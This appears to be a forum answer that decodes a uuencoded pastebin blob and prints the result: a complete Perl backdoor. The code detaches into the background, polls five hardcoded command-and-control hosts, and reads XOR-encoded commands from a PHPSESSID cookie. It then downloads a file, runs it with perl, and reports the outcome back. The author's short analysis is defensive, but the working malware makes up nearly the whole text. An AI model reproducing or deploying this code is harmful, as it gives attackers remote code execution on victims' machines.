The format shown is simply uuencoding. I copied the pastebin-ed text, pasted it into https://www.browserling.com/tools/uudecode, which showed it's this not-actually-obfuscated Perl code:
#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$| = 1; &main();
sub main
{
exit 0 unless defined (my $pid = fork);
exit 0 if $pid;
POSIX::setsid();
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
my $url = ["5.135.42.98:80","ixjeunsdms.org:80","95.216.98.49:443","heyhajksds.com:443","skjfdnlakdp.net:80"];
my $rnd = ["a".."z", "A".."Z"]; $rnd = join ("", @$rnd[map {rand @$rnd}(1..(6 + int rand 5))]);
my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$rnd")) { close F; unlink "/tmp/$rnd"; $dir ="/tmp"; }
my ($header, $content);
my ($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
foreach my $rs (@$url)
{
$header = "$dir/" . time; $content = $header . "1";
unlink $header if -f $header; unlink $content if -f $content;
&http($rs, $timeout, $header, $content, 0);
if (open (F, "<", $header))
{
flock F, 1;
my ($test, $task) = (0, "");
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$test ++ if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close"; $task = $1 if /^Set-Cookie: PHPSESSID=([^;]+)/;
}
close F;
($link, $file, $id, $command, $timeout) = &decxd($task) if $test == 2 && length $task;
}
unlink $header if -f $header; unlink $content if -f $content;
}
exit 0 if !defined $command || $command !~ /^16$/;
$header = "$dir/" . time; $content = "$dir/$file";
unlink $header if -f $header; unlink $content if -f $content;
&http($link, $timeout, $header, $content, 1);
my ($resp, $size) = ("000", 0);
if (open (F, "<", $header))
{
flock F, 1;
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$resp = $1 if /^HTTP\S+\s+(\d\d\d)/;
}
close F;
}
$size = (stat $content)[7] if -f $content;
$size = 0 if !defined $size || $size !~ /^\d+$/;
if ($size > 0)
{
chmod 0755, $content;
system "perl $content >/dev/null 2>&1";
}
unlink $header if -f $header; unlink $content if -f $content;
foreach my $rs (@$url)
{
$header = "/dev/null"; $content = $header;
&http($rs, 10, $header, $content, 0, "$id.$resp.$size");
}
exit 0;
}
sub xorl
{
my ($line, $code, $xor, $lim) = (shift, "", 1, 16);
foreach my $chr (split (//, $line))
{
if ($xor == $lim)
{
$lim = 0 if $lim == 256;
$lim += 16;
$xor = 1;
}
$code .= pack ("C", unpack ("C", $chr) ^ $xor);
$xor ++;
}
return $code;
}
sub decxd
{
my $data = pack ("H*", shift);
@_ = unpack ("C5", substr ($data, 0, 5, ""));
return (&xorl(substr ($data, 0, shift, "")), &xorl(substr ($data, 0, shift, "")), @_);
}
sub http
{
my ($url, $timeout, $header, $content, $mode, $gecko) = @_;
$gecko = "20100101" if !defined $gecko || !length $gecko;
my ($host, $port, $path) = $url =~ /^([^\/:]+):*(\d*)?(\/?[^\#]*)/;
return unless $host;
my $addr = gethostbyname $host;
return unless $addr;
$port ||= 80;
$path ||= "/";
$addr = sockaddr_in($port, $addr);
my $readers = IO::Select->new() or return;
my $writers = IO::Select->new() or return;
my $buffer = join
(
"\x0D\x0A",
"GET $path HTTP/1.1",
"Host: $host",
"Cookie: PHPSESSID=295c445c5f495f5f4548533c3c3c3d29",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/$gecko Firefox/60.0",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.1",
"Accept-Language: en-us,en;q=0.8",
"Accept-Encoding: gzip, deflate",
"Accept-Charset: ISO-8859-1,utf-8;q=0.1,*;q=0.8",
"Connection: close",
"\x0D\x0A"
);
if ($mode)
{
$buffer = join
(
"\x0D\x0A",
"GET $path HTTP/1.0",
"Host: $host",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/$gecko Firefox/61.0",
"Accept: text/html,*/*",
"Connection: close",
"\x0D\x0A"
);
}
my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
return unless $socket;
$socket->blocking(0);
unless ($socket->connect($addr))
{
unless ($! == POSIX::EINPROGRESS)
{
close $socket;
return;
}
}
$writers->add($socket);
$timeout += time;
my $step = 0;
while (1)
{
IO::Select->select(undef, undef, undef, 0.02);
my $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
foreach my $handle (@$writable)
{
if ($step == 0)
{
$step = 1 if $handle->connected;
}
if ($step == 1)
{
my $result = syswrite ($handle, $buffer);
if (defined $result && $result > 0)
{
substr ($buffer, 0, $result) = "";
if (!length $buffer)
{
$readers->add($handle);
$writers->remove($handle);
$step = 2;
}
}
elsif ($! == POSIX::EWOULDBLOCK)
{
next;
}
else
{
$timeout = 0;
}
}
}
my $readable = (IO::Select->select($readers, undef, undef, 0))[0];
foreach my $handle (@$readable)
{
next if $step < 2;
my $result;
if ($step == 2)
{
$result = sysread ($handle, $buffer, 8192, length $buffer);
}
else
{
$result = sysread ($handle, $buffer, 8192);
}
if (16384 < length $buffer)
{
$timeout = 0;
}
elsif (defined $result)
{
if ($result > 0)
{
if ($step == 2)
{
my $offset = index ($buffer, "\x0D\x0A\x0D\x0A");
next if $offset < 0;
if (open (F, ">>", $header))
{
flock F, 2;
binmode F;
print F substr ($buffer, 0, $offset);
close F;
}
substr ($buffer, 0, $offset + 4) = "";
$step = 3;
}
if ($step == 3)
{
if (length $buffer)
{
$buffer =~ s/%EHLO_VALUE%/295c445c5f495f5f4548533c3c3c3d29/gs;
if (open (F, ">>", $content))
{
flock F, 2;
binmode F;
print F $buffer;
close F;
}
$buffer = "";
}
}
next;
}
$timeout = 0;
}
elsif ($! == POSIX::EWOULDBLOCK)
{
next;
}
else
{
$timeout = 0;
}
}
if ($timeout < time)
{
foreach my $handle ($writers->handles, $readers->handles)
{
$writers->remove($handle) if $writers->exists($handle);
$readers->remove($handle) if $readers->exists($handle);
close $handle;
}
return;
}
}
}
The clues were a) recognising the distinctive format; b) also recognising the unpack('u*')
. No machines, virtual or otherwise, were put at risk in this process.
The code has 5 URLs, and the http
function implies it "phones home" to those, getting commands to execute in a Set-Cookie: PHPSESSIONID=
header. I haven't analysed it further than that.